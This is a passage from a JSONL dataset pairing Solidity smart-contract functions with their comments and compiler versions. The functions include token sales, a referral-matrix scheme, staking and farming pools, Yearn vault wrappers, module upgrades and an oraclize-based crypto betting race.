require(allThePublicKeys[_recoveredAddress]);\r\n \r\n allThePublicKeys[_recoveredAddress]=false;\r\n\r\n uint256 _validKeys = totalSupplyOfKeys.sub(totalReclaimedKeys);\r\n uint256 _payoutValue = address(this).balance.div(_validKeys);\r\n\r\n msg.sender.transfer(_payoutValue);\r\n emit CertPayedOutEvent(msg.sender, _recoveredAddress, _payoutValue);\r\n \r\n totalReclaimedKeys ++;\r\n }", "version": "0.4.23"} {"comment": "//\n// debug only. remove in Live deploy.\n// do this operation on the Dapp side.", "function_code": "function calculatePayout() view external returns(\r\n uint256 _etherValue\r\n ){\r\n uint256 _validKeys = totalSupplyOfKeys.sub(totalReclaimedKeys);\r\n // Last key has been paid out.\r\n if(_validKeys == 0){\r\n _etherValue = 0;\r\n }else{\r\n _etherValue = address(this).balance.div(_validKeys);\r\n }\r\n }", "version": "0.4.23"} {"comment": "// implementation of low level token purchase function", "function_code": "function buyTokens(address beneficiary, uint256 weiAmount) internal {\r\n\t\trequire(beneficiary != 0x0);\r\n\t\trequire(validPurchase(weiAmount));\r\n\r\n\t\t// calculate token amount to be sent\r\n\t\tuint256 tokens = calcBonus(weiAmount.mul(rate));\r\n\t\t\r\n\t\tif(remain.sub(tokens) <= 0){\r\n\t\t\treached = true;\r\n\r\n\t\t\tuint256 real = remain;\r\n\r\n\t\t\tremain = 0;\r\n\r\n\t\t\tuint256 refund = weiAmount - real.mul(100).div(110).div(rate);\r\n\r\n\t\t\tbeneficiary.transfer(refund);\r\n\r\n\t\t\ttransferToken(beneficiary, real);\r\n\r\n\t\t\tforwardFunds(weiAmount.sub(refund));\r\n\r\n\t\t\temit BuyTokens(beneficiary, weiAmount.sub(refund), real, now);\r\n\t\t} else{\r\n\r\n\t\t\tremain = remain.sub(tokens);\r\n\r\n\t\t\ttransferToken(beneficiary, tokens);\r\n\r\n\t\t\tforwardFunds(weiAmount);\r\n\r\n\t\t\temit BuyTokens(beneficiary, weiAmount, tokens, now);\r\n\t\t}\r\n\r\n\t}", "version": "0.4.24"} {"comment": "/**\n * Restores the signer of the signed message and checks if it was signed by the trusted signer and also\n * contains the parameters.\n */", "function_code": "function _verifySignature(\n address wallet,\n uint256 maxAmount,\n uint256 timestamp,\n bytes memory signature\n ) private view returns (bool) {\n bytes32 sigR;\n bytes32 sigS;\n uint8 sigV;\n (sigV, sigR, sigS) = _splitSignature(signature);\n bytes32 message = keccak256(abi.encodePacked(wallet, maxAmount, timestamp));\n return presaleSigner == ecrecover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", message)), sigV, sigR, sigS);\n }", "version": "0.8.10"} {"comment": "// ------------------\n// Owner functions\n// ------------------", "function_code": "function initialize(\n address _old_contract_address,\n uint256 _maxOmm\n ) external onlyOwner {\n if(address(_omm_contract) != address(0)) revert ContractAlreadyInitialized();\n if(_old_contract_address == address(0)) revert EmptyAddress();\n if(_maxOmm == 0) revert MaxOmmIsZero();\n _omm_contract = OldMasterMemes(_old_contract_address);\n bool originalContractSaleIsActive = _omm_contract.saleIsActive();\n if(originalContractSaleIsActive) revert SaleOfOriginalContractActive();\n maxOmm = _maxOmm;\n saleIsActive = false;\n communitySaleIsActive = false;\n }", "version": "0.8.10"} {"comment": "// ------------------------------------------------------------------------\n// Buy one coin\n// ------------------------------------------------------------------------", "function_code": "function buyOne() public payable returns (bool success) {\r\n uint price = getPrice();\r\n uint fee = price / 10;\r\n require(msg.value == (price + fee), 'Wrong amount');\r\n balances[address(this)] = safeSub(balances[address(this)], 1);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], 1);\r\n emit Transfer(address(this), msg.sender, 1);\r\n address(uint160(owner)).transfer(fee);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "// ------------------------------------------------------------------------\n// Sell one coin\n// ------------------------------------------------------------------------", "function_code": "function sellOne() public returns (bool success) {\r\n uint price = getPrice() - 0.0001 ether;\r\n uint fee = price / 10;\r\n balances[msg.sender] = safeSub(balances[msg.sender], 1);\r\n balances[address(this)] = safeAdd(balances[address(this)], 1);\r\n emit Transfer(msg.sender, address(this), 1);\r\n msg.sender.transfer(price - fee);\r\n address(uint160(owner)).transfer(fee);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev To register the User\r\n * @param _referrerID id of user/referrer who is already in matrix\r\n * @param _mrs _mrs[0] - message hash _mrs[1] - r of signature _mrs[2] - s of signature \r\n * @param _v v of signature\r\n */", "function_code": "function regUser(uint _referrerID, bytes32[3] calldata _mrs, uint8 _v) external payable {\r\n require(lockStatus == false, \"Contract Locked\");\r\n require(users[msg.sender].isExist == false, \"User exist\");\r\n require(_referrerID > 0 && _referrerID <= currentId, \"Incorrect referrer Id\");\r\n require(hashConfirmation[_mrs[0]] == false, \"Hash Exits\");\r\n require(msg.value == LEVEL_PRICE[1], \"Incorrect Value\");\r\n \r\n if(users[userList[_referrerID]].referral.length >= referrer1Limit) _referrerID = users[findFreeReferrer(userList[_referrerID])].id;\r\n\r\n UserStruct memory userStruct;\r\n currentId++;\r\n \r\n userStruct = UserStruct({\r\n isExist: true,\r\n id: currentId,\r\n referrerID: _referrerID,\r\n currentLevel: 1,\r\n totalEarningEth:0,\r\n referral: new address[](0)\r\n });\r\n\r\n users[msg.sender] = userStruct;\r\n userList[currentId] = msg.sender;\r\n users[msg.sender].levelExpired[1] = now.add(PERIOD_LENGTH);\r\n users[userList[_referrerID]].referral.push(msg.sender);\r\n createdDate[msg.sender] = now;\r\n loopCheck[msg.sender] = 0;\r\n\r\n payForRegister(1, msg.sender, ((LEVEL_PRICE[1].mul(adminFee)).div(10**20)), _mrs, _v);\r\n hashConfirmation[_mrs[0]] = true;\r\n\r\n emit regLevelEvent(msg.sender, userList[_referrerID], now);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev To buy the next level by User\r\n * @param _level level wants to buy\r\n * @param _mrs _mrs[0] - message hash _mrs[1] - r of signature _mrs[2] - s of signature \r\n * @param _v v of signature\r\n */", "function_code": "function buyLevel(uint256 _level, bytes32[3] calldata _mrs, uint8 _v) external payable {\r\n require(lockStatus == false, \"Contract Locked\");\r\n require(users[msg.sender].isExist, \"User not exist\");\r\n require(hashConfirmation[_mrs[0]] == false, \"Hash Exits\");\r\n require(_level > 0 && _level <= 9, \"Incorrect level\");\r\n\r\n if (_level == 1) {\r\n require(msg.value == LEVEL_PRICE[1], \"Incorrect Value\");\r\n users[msg.sender].levelExpired[1] = users[msg.sender].levelExpired[1].add(PERIOD_LENGTH);\r\n users[msg.sender].currentLevel = 1;\r\n }else {\r\n require(msg.value == LEVEL_PRICE[_level], \"Incorrect Value\");\r\n \r\n users[msg.sender].currentLevel = _level;\r\n\r\n for (uint i =_level - 1; i > 0; i--) require(users[msg.sender].levelExpired[i] >= now, \"Buy the previous level\");\r\n \r\n if(users[msg.sender].levelExpired[_level] == 0)\r\n users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;\r\n else \r\n users[msg.sender].levelExpired[_level] += PERIOD_LENGTH;\r\n }\r\n \r\n loopCheck[msg.sender] = 0;\r\n \r\n payForLevels(_level, msg.sender, ((LEVEL_PRICE[_level].mul(adminFee)).div(10**20)), _mrs, _v);\r\n \r\n hashConfirmation[_mrs[0]] = true;\r\n\r\n emit buyLevelEvent(msg.sender, _level, now);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Internal function\r\n */", "function_code": "function payForRegister(uint _level,address _userAddress,uint _adminPrice,bytes32[3] memory _mrs,uint8 _v) internal {\r\n\r\n address referer;\r\n\r\n referer = userList[users[_userAddress].referrerID];\r\n\r\n if (!users[referer].isExist) referer = userList[1];\r\n\r\n if (users[referer].levelExpired[_level] >= now) {\r\n uint256 tobeminted = ((LEVEL_PRICE[_level]).mul(10**3)).div(0.005 ether);\r\n require((address(uint160(ownerAddress)).send(_adminPrice)) && address(uint160(referer)).send(LEVEL_PRICE[_level].sub(_adminPrice)) && Token.mint(msg.sender,tobeminted,_mrs,_v), \"Transaction Failure\");\r\n users[referer].totalEarningEth = users[referer].totalEarningEth.add(LEVEL_PRICE[_level].sub(_adminPrice));\r\n EarnedEth[referer][_level] = EarnedEth[referer][_level].add(LEVEL_PRICE[_level].sub(_adminPrice));\r\n }else {\r\n emit lostMoneyForLevelEvent(msg.sender,users[msg.sender].id,referer,users[referer].id, _level, LEVEL_PRICE[_level],now);\r\n revert(\"Referer Not Active\");\r\n }\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev View free Referrer Address\r\n */", "function_code": "function findFreeReferrer(address _userAddress) public view returns (address) {\r\n if (users[_userAddress].referral.length < referrer1Limit) \r\n return _userAddress;\r\n\r\n address[] memory referrals = new address[](254);\r\n referrals[0] = users[_userAddress].referral[0];\r\n referrals[1] = users[_userAddress].referral[1];\r\n\r\n address freeReferrer;\r\n bool noFreeReferrer = true;\r\n\r\n for (uint i = 0; i < 254; i++) { \r\n if (users[referrals[i]].referral.length == referrer1Limit) {\r\n if (i < 126) {\r\n referrals[(i+1)*2] = users[referrals[i]].referral[0];\r\n referrals[(i+1)*2+1] = users[referrals[i]].referral[1];\r\n }\r\n } else {\r\n noFreeReferrer = false;\r\n freeReferrer = referrals[i];\r\n break;\r\n }\r\n }\r\n require(!noFreeReferrer, \"No Free Referrer\");\r\n return freeReferrer;\r\n }", "version": "0.5.14"} {"comment": "// Locks vader and mints xVader", "function_code": "function enter(uint _amount) external nonReentrant {\n // Gets the amount of vader locked in the contract\n uint totalVader = vader.balanceOf(address(this));\n // Gets the amount of xVader in existence\n uint totalShares = totalSupply();\n\n // If no xVader exists, mint it 1:1 to the amount put in.\n // Calculate and mint the amount of xVader the vader is worth.\n // The ratio will change overtime, as xVader is burned/minted and\n // vader deposited + gained from fees / withdrawn.\n uint xVADERToMint = totalShares == 0 || totalVader == 0\n ? _amount\n : (_amount * totalShares) / totalVader;\n\n _mint(msg.sender, xVADERToMint);\n\n // Lock the vader in the contract\n vader.transferFrom(msg.sender, address(this), _amount);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Converts an unsigned uint256 into a signed int256.\n *\n * Requirements:\n *\n * - input must be less than or equal to maxInt256.\n */", "function_code": "function toInt256(uint256 value) internal pure returns (int256) {\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n require(value <= uint256(type(int256).max), \"SafeCast: value doesn't fit in an int256\");\n return int256(value);\n }", "version": "0.8.9"} {"comment": "// Deposit LP tokens to CraneMasterFarmer for Crane allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n require(_amount > 0, \"CraneMasterFarmer::deposit: amount must be greater than 0\");\r\n\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n _harvest(_pid);\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n if (user.amount == 0) {\r\n user.rewardDebtAtBlock = block.number;\r\n }\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accCranePerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from CraneMasterFarmer.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"CraneMasterFarmer::withdraw: not good\");\r\n\r\n updatePool(_pid);\r\n _harvest(_pid);\r\n \r\n if(_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accCranePerShare).div(1e12);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns price after `_bagsCount` will bought\n *.\n * @param _bagsCount - bags that will bought.\n */", "function_code": "function _nextPrice(uint256 _bagsCount) internal view returns (uint256) {\n //Because last_price expressed in wei we dont need mul(1e18)\n //but still need div(1e4) - see comment above near A and B declaration\n //uint256 _price = last_price.mul(A**_bagsCount).div(10**(4*_bagsCount));\n return bagPrice;\n }", "version": "0.7.4"} {"comment": "/// @dev Deploys a Proxy account for the given owner\n/// @param owner Owner of the Proxy account\n/// @return account Address of the deployed Proxy account\n/// @notice This deploys a \"minimal proxy\" contract with the proxy owner address added to the deployed bytecode. The\n/// owner address can be read within a delegatecall by using `extcodecopy`. Minimal proxy bytecode is from\n/// https://medium.com/coinmonks/the-more-minimal-proxy-5756ae08ee48 and https://eips.ethereum.org/EIPS/eip-1167. It\n/// utilizes the \"vanity address optimization\" from EIP 1167", "function_code": "function deployAccount(address owner) external returns (address account) {\n bytes memory initCode = abi.encodePacked(\n // [* constructor **] [** minimal proxy ***] [******* implementation *******] [**** minimal proxy *****]\n hex'603c3d8160093d39f3_3d3d3d3d363d3d37363d6f_afcbce78c080f96032a5c1cb1b832d7b_5af43d3d93803e602657fd5bf3',\n owner\n );\n assembly {\n account := create2(0, add(initCode, 0x20), mload(initCode), 0)\n }\n if(account == address(0)) {\n revert DeployFailed();\n }\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Returns true if `account` is a contract.\r\n *`isContract` will return false for the following types of addresses:\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n */", "function_code": "function isContract(address account) internal view returns (bool) {\r\n // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\r\n // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\r\n // for accounts without code, i.e. `keccak256('')`\r\n bytes32 codehash;\r\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly { codehash := extcodehash(account) }\r\n return (codehash != accountHash && codehash != 0x0);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Delegates votes from signer to `delegatee`\n */", "function_code": "function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n require(block.timestamp <= expiry, \"ERC20Votes: signature expired\");\n address signer = ECDSAUpgradeable.recover(\n _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n v,\n r,\n s\n );\n require(nonce == _useNonce(signer), \"ERC20Votes: invalid nonce\");\n return _delegate(signer, delegatee);\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Used to packed the KYC data\n */", "function_code": "function packKYC(uint64 _a, uint64 _b, uint64 _c, uint8 _d) internal pure returns(uint256) {\n // this function packs 3 uint64 and a uint8 together in a uint256 to save storage cost\n // a is rotated left by 136 bits, b is rotated left by 72 bits and c is rotated left by 8 bits.\n // rotation pads empty bits with zeroes so now we can safely do a bitwise OR operation to pack\n // all the variables together.\n return (uint256(_a) << 136) | (uint256(_b) << 72) | (uint256(_c) << 8) | uint256(_d);\n }", "version": "0.5.8"} {"comment": "/**\n * @notice Used to convert packed data into KYC data\n * @param _packedVersion Packed data\n */", "function_code": "function unpackKYC(uint256 _packedVersion) internal pure returns(uint64 canSendAfter, uint64 canReceiveAfter, uint64 expiryTime, uint8 added) {\n canSendAfter = uint64(_packedVersion >> 136);\n canReceiveAfter = uint64(_packedVersion >> 72);\n expiryTime = uint64(_packedVersion >> 8);\n added = uint8(_packedVersion);\n }", "version": "0.5.8"} {"comment": "/**\n * @notice Used to initialize the module\n * @param _module Address of module\n * @param _data Data used for the intialization of the module factory variables\n */", "function_code": "function _initializeModule(address _module, bytes memory _data) internal {\n uint256 polySetupCost = _takeFee();\n bytes4 initFunction = IModule(_module).getInitFunction();\n if (initFunction != bytes4(0)) {\n require(Util.getSig(_data) == initFunction, \"Provided data is not valid\");\n /*solium-disable-next-line security/no-low-level-calls*/\n (bool success, ) = _module.call(_data);\n require(success, \"Unsuccessful initialization\");\n }\n /*solium-disable-next-line security/no-block-members*/\n emit GenerateModuleFromFactory(_module, name, address(this), msg.sender, setupCost, polySetupCost);\n }", "version": "0.5.8"} {"comment": "/**\n * @notice Used to upgrade the module factory\n * @param _version Version of upgraded module\n * @param _logicContract Address of deployed module logic contract referenced from proxy\n * @param _upgradeData Data to be passed in call to upgradeToAndCall when a token upgrades its module\n */", "function_code": "function setLogicContract(string calldata _version, address _logicContract, bytes calldata _upgradeData) external onlyOwner {\n require(keccak256(abi.encodePacked(_version)) != keccak256(abi.encodePacked(logicContracts[latestUpgrade].version)), \"Same version\");\n require(_logicContract != logicContracts[latestUpgrade].logicContract, \"Same version\");\n require(_logicContract != address(0), \"Invalid address\");\n latestUpgrade++;\n _modifyLogicContract(latestUpgrade, _version, _logicContract, _upgradeData);\n }", "version": "0.5.8"} {"comment": "/**\n * @notice Used to update an existing token logic contract\n * @param _upgrade logic contract to upgrade\n * @param _version Version of upgraded module\n * @param _logicContract Address of deployed module logic contract referenced from proxy\n * @param _upgradeData Data to be passed in call to upgradeToAndCall when a token upgrades its module\n */", "function_code": "function updateLogicContract(uint256 _upgrade, string calldata _version, address _logicContract, bytes calldata _upgradeData) external onlyOwner {\n require(_upgrade <= latestUpgrade, \"Invalid upgrade\");\n // version & contract must differ from previous version, otherwise upgrade proxy will fail\n if (_upgrade > 0) {\n require(keccak256(abi.encodePacked(_version)) != keccak256(abi.encodePacked(logicContracts[_upgrade - 1].version)), \"Same version\");\n require(_logicContract != logicContracts[_upgrade - 1].logicContract, \"Same version\");\n }\n require(_logicContract != address(0), \"Invalid address\");\n require(_upgradeData.length > 4, \"Invalid Upgrade\");\n _modifyLogicContract(_upgrade, _version, _logicContract, _upgradeData);\n }", "version": "0.5.8"} {"comment": "/**\n * @notice Used by a security token to upgrade a given module\n * @param _module Address of (proxy) module to be upgraded\n */", "function_code": "function upgrade(address _module) external {\n // Only allow the owner of a module to upgrade it\n require(moduleToSecurityToken[_module] == msg.sender, \"Incorrect caller\");\n // Only allow issuers to upgrade in single step verisons to preserve upgradeToAndCall semantics\n uint256 newVersion = modules[msg.sender][_module] + 1;\n require(newVersion <= latestUpgrade, \"Incorrect version\");\n OwnedUpgradeabilityProxy(address(uint160(_module))).upgradeToAndCall(logicContracts[newVersion].version, logicContracts[newVersion].logicContract, logicContracts[newVersion].upgradeData);\n modules[msg.sender][_module] = newVersion;\n emit ModuleUpgraded(\n _module,\n msg.sender,\n newVersion\n );\n }", "version": "0.5.8"} {"comment": "/// @dev Accepts ether and creates new DDFT tokens.", "function_code": "function createTokens(uint256 _value) internal {\r\n if (isFinalized) throw;\r\n if (now < fundingStartTime) throw;\r\n if (now > fundingEndTime) throw;\r\n if (msg.value == 0) throw;\r\n\r\n uint256 tokens = safeMult(_value, tokenExchangeRate); // check that we're not over totals\r\n uint256 checkedSupply = safeAdd(totalSupply, tokens);\r\n\r\n // DA 8/6/2017 to fairly allocate the last few tokens\r\n if (tokenCreationCap < checkedSupply) {\r\n if (tokenCreationCap <= totalSupply) throw; // CAP reached no more please\r\n uint256 tokensToAllocate = safeSubtract(tokenCreationCap,totalSupply);\r\n uint256 tokensToRefund = safeSubtract(tokens,tokensToAllocate);\r\n totalSupply = tokenCreationCap;\r\n balances[msg.sender] += tokensToAllocate; // safeAdd not needed; bad semantics to use here\r\n uint256 etherToRefund = tokensToRefund / tokenExchangeRate;\r\n msg.sender.transfer(etherToRefund);\r\n CreateDDFT(msg.sender, tokensToAllocate); // logs token creation\r\n LogRefund(msg.sender,etherToRefund);\r\n splitterContract(splitter).update(msg.sender,balances[msg.sender]);\r\n return;\r\n }\r\n // DA 8/6/2017 end of fair allocation code\r\n totalSupply = checkedSupply;\r\n balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here\r\n CreateDDFT(msg.sender, tokens); // logs token creation\r\n splitterContract(splitter).update(msg.sender,balances[msg.sender]);\r\n }", "version": "0.4.11"} {"comment": "/**\n * @notice Set network fee tier\n * @notice Details for network fee tier can view at deposit() function below\n * @param _networkFeeTier2 Array [tier2 minimun, tier2 maximun], view additional info below\n * Requirements:\n * - Only owner of this contract can call this function\n * - First element in array must greater than 0\n * - Second element must greater than first element\n */", "function_code": "function setNetworkFeeTier2(uint256[] calldata _networkFeeTier2) external onlyOwner {\n require(_networkFeeTier2[0] != 0, \"Minimun amount cannot be 0\");\n require(_networkFeeTier2[1] > _networkFeeTier2[0], \"Maximun amount must greater than minimun amount\");\n /**\n * Network fees have three tier, but it is sufficient to have minimun and maximun amount of tier 2\n * Tier 1: deposit amount < minimun amount of tier 2\n * Tier 2: minimun amount of tier 2 <= deposit amount <= maximun amount of tier 2\n * Tier 3: amount > maximun amount of tier 2\n */\n uint256[] memory oldNetworkFeeTier2 = networkFeeTier2;\n networkFeeTier2 = _networkFeeTier2;\n emit SetNetworkFeeTier2(oldNetworkFeeTier2, _networkFeeTier2);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Set network fee in percentage\n * @param _networkFeePercentage An array of integer, view additional info below\n * Requirements:\n * - Only owner of this contract can call this function\n * - Each of the element in the array must less than 4000 (40%)\n */", "function_code": "function setNetworkFeePercentage(uint256[] calldata _networkFeePercentage) external onlyOwner {\n /** \n * _networkFeePercentage content a array of 3 element, representing network fee of tier 1, tier 2 and tier 3\n * For example networkFeePercentage is [100, 75, 50]\n * which mean network fee for Tier 1 = 1%, Tier 2 = 0.75% and Tier 3 = 0.5%\n */\n require(\n _networkFeePercentage[0] < 4000 &&\n _networkFeePercentage[1] < 4000 &&\n _networkFeePercentage[2] < 4000, \"Network fee percentage cannot be more than 40%\"\n );\n\n uint256[] memory oldNetworkFeePercentage = networkFeePercentage;\n networkFeePercentage = _networkFeePercentage;\n emit SetNetworkFeePercentage(oldNetworkFeePercentage, _networkFeePercentage);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Approve Yearn Finance contracts to deposit token from this contract\n * @dev This function only need execute once in contract contructor\n */", "function_code": "function _approvePooling() private {\n uint256 earnAllowance = token.allowance(address(this), address(earn));\n if (earnAllowance == uint256(0)) {\n token.safeApprove(address(earn), MAX_UNIT);\n }\n uint256 vaultAllowance = token.allowance(address(this), address(vault));\n if (vaultAllowance == uint256(0)) {\n token.safeApprove(address(vault), MAX_UNIT);\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Withdraw from Yearn Earn and Vault contracts\n * @param _shares amount of earn and vault to withdraw in list: [earn withdraw amount, vault withdraw amount]\n * Requirements:\n * - This contract is not in vesting state\n * - Only Vault can call this function\n */", "function_code": "function withdraw(uint256[] memory _shares) external {\n require(!isVesting, \"Contract in vesting state\");\n require(msg.sender == address(daoVault), \"Only can call from Vault\");\n\n if (_shares[0] > 0) {\n _withdrawEarn(_shares[0]);\n }\n\n if (_shares[1] > 0) {\n _withdrawVault(_shares[1]);\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Withdraw from Yearn Earn contract\n * @dev Only call within function withdraw()\n * @param _shares Amount of shares to withdraw\n * Requirements:\n * - Amount input must less than or equal to sender current total amount of earn deposit in contract\n */", "function_code": "function _withdrawEarn(uint256 _shares) private {\n uint256 _d = pool.mul(_shares).div(totalSupply()); // Initial Deposit Amount\n require(earnDepositBalance[tx.origin] >= _d, \"Insufficient balance\");\n uint256 _earnShares = (_d.mul(earn.totalSupply())).div(earn.calcPoolValueInToken()); // Find earn shares based on deposit amount \n uint256 _r = ((earn.calcPoolValueInToken()).mul(_earnShares)).div(earn.totalSupply()); // Actual earn withdraw amount\n\n earn.withdraw(_earnShares);\n earnDepositBalance[tx.origin] = earnDepositBalance[tx.origin].sub(_d);\n \n _burn(address(daoVault), _shares);\n pool = pool.sub(_d);\n\n if (_r > _d) {\n uint256 _p = _r.sub(_d); // Profit\n uint256 _fee = _p.mul(profileSharingFeePercentage).div(DENOMINATOR);\n token.safeTransfer(tx.origin, _r.sub(_fee));\n token.safeTransfer(treasuryWallet, _fee.mul(treasuryFee).div(DENOMINATOR));\n token.safeTransfer(communityWallet, _fee.mul(communityFee).div(DENOMINATOR));\n } else {\n token.safeTransfer(tx.origin, _r);\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Vesting this contract, withdraw all the token from Yearn contracts\n * @notice Disabled the deposit and withdraw functions for public, only allowed users to do refund from this contract\n * Requirements:\n * - Only owner of this contract can call this function\n * - This contract is not in vesting state\n */", "function_code": "function vesting() external onlyOwner {\n require(!isVesting, \"Already in vesting state\");\n\n // Withdraw all funds from Yearn Earn and Vault contracts\n isVesting = true;\n uint256 _earnBalance = earn.balanceOf(address(this));\n uint256 _vaultBalance = vault.balanceOf(address(this));\n if (_earnBalance > 0) {\n earn.withdraw(_earnBalance);\n }\n if (_vaultBalance > 0) {\n vault.withdraw(_vaultBalance);\n }\n\n // Collect all profits\n uint256 balance_ = token.balanceOf(address(this));\n if (balance_ > pool) {\n uint256 _profit = balance_.sub(pool);\n uint256 _fee = _profit.mul(profileSharingFeePercentage).div(DENOMINATOR);\n token.safeTransfer(treasuryWallet, _fee.mul(treasuryFee).div(DENOMINATOR));\n token.safeTransfer(communityWallet, _fee.mul(communityFee).div(DENOMINATOR));\n }\n pool = 0;\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Get token amount based on daoToken hold by account after contract in vesting state\n * @param _address Address of account to check\n * @return Token amount based on on daoToken hold by account. 0 if contract is not in vesting state\n */", "function_code": "function getSharesValue(address _address) external view returns (uint256) {\n if (!isVesting) {\n return 0;\n } else {\n uint256 _shares = daoVault.balanceOf(_address);\n if (_shares > 0) {\n return token.balanceOf(address(this)).mul(_shares).div(daoVault.totalSupply());\n } else {\n return 0;\n }\n }\n }", "version": "0.7.6"} {"comment": "//oraclize callback method", "function_code": "function __callback(bytes32 myid, string result, bytes proof) public {\r\n require (msg.sender == oraclize_cbAddress());\r\n require (!chronus.race_end);\r\n bytes32 coin_pointer; // variable to differentiate different callbacks\r\n chronus.race_start = true;\r\n chronus.betting_open = false;\r\n bettingControllerInstance.remoteBettingClose();\r\n coin_pointer = oraclizeIndex[myid];\r\n\r\n if (myid == coinIndex[coin_pointer].preOraclizeId) {\r\n if (coinIndex[coin_pointer].pre > 0) {\r\n } else if (now >= chronus.starting_time+chronus.betting_duration+ 30 minutes) {\r\n forceVoidRace();\r\n } else {\r\n coinIndex[coin_pointer].pre = stringToUintNormalize(result);\r\n emit newPriceTicker(coinIndex[coin_pointer].pre);\r\n }\r\n } else if (myid == coinIndex[coin_pointer].postOraclizeId){\r\n if (coinIndex[coin_pointer].pre > 0 ){\r\n if (coinIndex[coin_pointer].post > 0) {\r\n } else if (now >= chronus.starting_time+chronus.race_duration+ 30 minutes) {\r\n forceVoidRace();\r\n } else {\r\n coinIndex[coin_pointer].post = stringToUintNormalize(result);\r\n coinIndex[coin_pointer].price_check = true;\r\n emit newPriceTicker(coinIndex[coin_pointer].post);\r\n \r\n if (coinIndex[horses.ETH].price_check && coinIndex[horses.BTC].price_check && coinIndex[horses.LTC].price_check) {\r\n reward();\r\n }\r\n }\r\n } else {\r\n forceVoidRace();\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "// place a bet on a coin(horse) lockBetting", "function_code": "function placeBet(bytes32 horse) external duringBetting payable {\r\n require(msg.value >= 0.01 ether);\r\n if (voterIndex[msg.sender].total_bet==0) {\r\n total_bettors+=1;\r\n }\r\n uint _newAmount = voterIndex[msg.sender].bets[horse] + msg.value;\r\n voterIndex[msg.sender].bets[horse] = _newAmount;\r\n voterIndex[msg.sender].total_bet += uint160(msg.value);\r\n uint160 _newTotal = coinIndex[horse].total + uint160(msg.value); \r\n uint32 _newCount = coinIndex[horse].count + 1;\r\n coinIndex[horse].total = _newTotal;\r\n coinIndex[horse].count = _newCount;\r\n emit Deposit(msg.sender, msg.value, horse, now);\r\n }", "version": "0.4.21"} {"comment": "// method to calculate an invidual's reward", "function_code": "function calculateReward(address candidate) internal afterRace constant returns(uint winner_reward) {\r\n voter_info storage bettor = voterIndex[candidate];\r\n if(chronus.voided_bet) {\r\n winner_reward = bettor.total_bet;\r\n } else {\r\n uint winning_bet_total;\r\n if(winner_horse[horses.BTC]) {\r\n winning_bet_total += bettor.bets[horses.BTC];\r\n } if(winner_horse[horses.ETH]) {\r\n winning_bet_total += bettor.bets[horses.ETH];\r\n } if(winner_horse[horses.LTC]) {\r\n winning_bet_total += bettor.bets[horses.LTC];\r\n }\r\n winner_reward += (((total_reward.mul(10000000)).div(winnerPoolTotal)).mul(winning_bet_total)).div(10000000);\r\n } \r\n }", "version": "0.4.21"} {"comment": "// utility function to convert string to integer with precision consideration", "function_code": "function stringToUintNormalize(string s) internal pure returns (uint result) {\r\n uint p =2;\r\n bool precision=false;\r\n bytes memory b = bytes(s);\r\n uint i;\r\n result = 0;\r\n for (i = 0; i < b.length; i++) {\r\n if (precision) {p = p-1;}\r\n if (uint(b[i]) == 46){precision = true;}\r\n uint c = uint(b[i]);\r\n if (c >= 48 && c <= 57) {result = result * 10 + (c - 48);}\r\n if (precision && p == 0){return result;}\r\n }\r\n while (p!=0) {\r\n result = result*10;\r\n p=p-1;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev player send crystals to the pot\r\n */", "function_code": "function share(uint256 _value) public disableContract\r\n {\r\n require(games[round].ended == false);\r\n require(games[round].startTime <= now);\r\n require(_value >= 1);\r\n\r\n MiningWar.subCrystal(msg.sender, _value); \r\n\r\n if (games[round].endTime <= now) endRound();\r\n \r\n updateReward(msg.sender);\r\n \r\n Game storage g = games[round];\r\n uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);\r\n g.crystals = 